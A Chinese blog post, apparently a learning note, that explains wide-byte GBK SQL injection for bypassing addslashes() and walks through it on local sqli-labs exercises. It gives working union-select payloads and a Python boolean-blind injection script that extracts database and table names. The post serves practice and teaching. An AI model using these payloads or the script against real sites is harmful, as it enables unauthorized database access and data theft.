宽字节注入
先列举一下基本的url编码
明文 | url编码 |
---|---|
空格 | %20 |
’ | %27 |
# | %23 |
\ | %5c |
addslashes函数:
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(’)
- 双引号(")
- 反斜杠(\)
- NULL
如何从addslashes函数中逃逸出来:
一:在\前面再加一个 \ (或单数个),变成\\’ ,这样\就被转义了,‘逃出了限制
二:把\弄没,在mysql使用GBK编码的时候,会认为两个字符是一个汉字(前面一个ASCII码要大于128,才到达汉字的范围)
汉字为两个字符
\'的编码为%5c%27
我们在 ’ 前加%df后变为%df\’
即为%df%5c%27,进行GBK解码后为
变为了運’,成功绕过了。
进行实验
实验环境:sqlilabs-less-32
本地搭建的靶机关于宽字节注入的题莫名其妙不能用了,又到虚拟机搭建了sqli-labs,花了一段时间。哭了
开始进行测试了!!!
?id=1%27--+
发现是用了addslashes() 函数,使用%df试试
?id=1%df%27--+
说明是GBK编码,可以注入了。
?id=-1%df%27 union select 1,2,3--+
用union联合注入即可,后面有一点要注意,就是where table_name=’ '的单引号不能使用,要使用另一种方法:十六进制
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
脚本编写
学习写python脚本了,sqlmap并不是万能的,学习了一上午,发现requests库的知识太多了,慢慢来吧
实验环境:sqlilabs-less-8
先写最简单的布尔盲注的脚本,首先需要python的requests库,pip下载即可
import requests
dic = 'abcdefghijklmnopqrstuvwsyz'
database = ''
for x in xrange(1,10):
for i in dic:
url = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr(database(),%d,1)='%c'--+" %(x,i)
try:
response = requests.get(url,timeout = 5)
if response.content.find('You are in...........') != -1:
database = database + i
print database
break
except Exception,e:
pass
print database
最主要的是这个判断,若找到You are in…就不为-1,执行下面语句。若没有找到就为-1,不执行if语句。
if response.content.find('You are in...........') != -1:
接下来更改url句子即可
url = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),%d,1)='%c'--+" %(x,i)
limit 0,1也可用一层循环,我这里就不在演示了。总之python脚本使用起来更加灵活,还是应该好好写一写的。
来源:CSDN
作者:bmth666
链接:https://blog.csdn.net/bmth666/article/details/104561851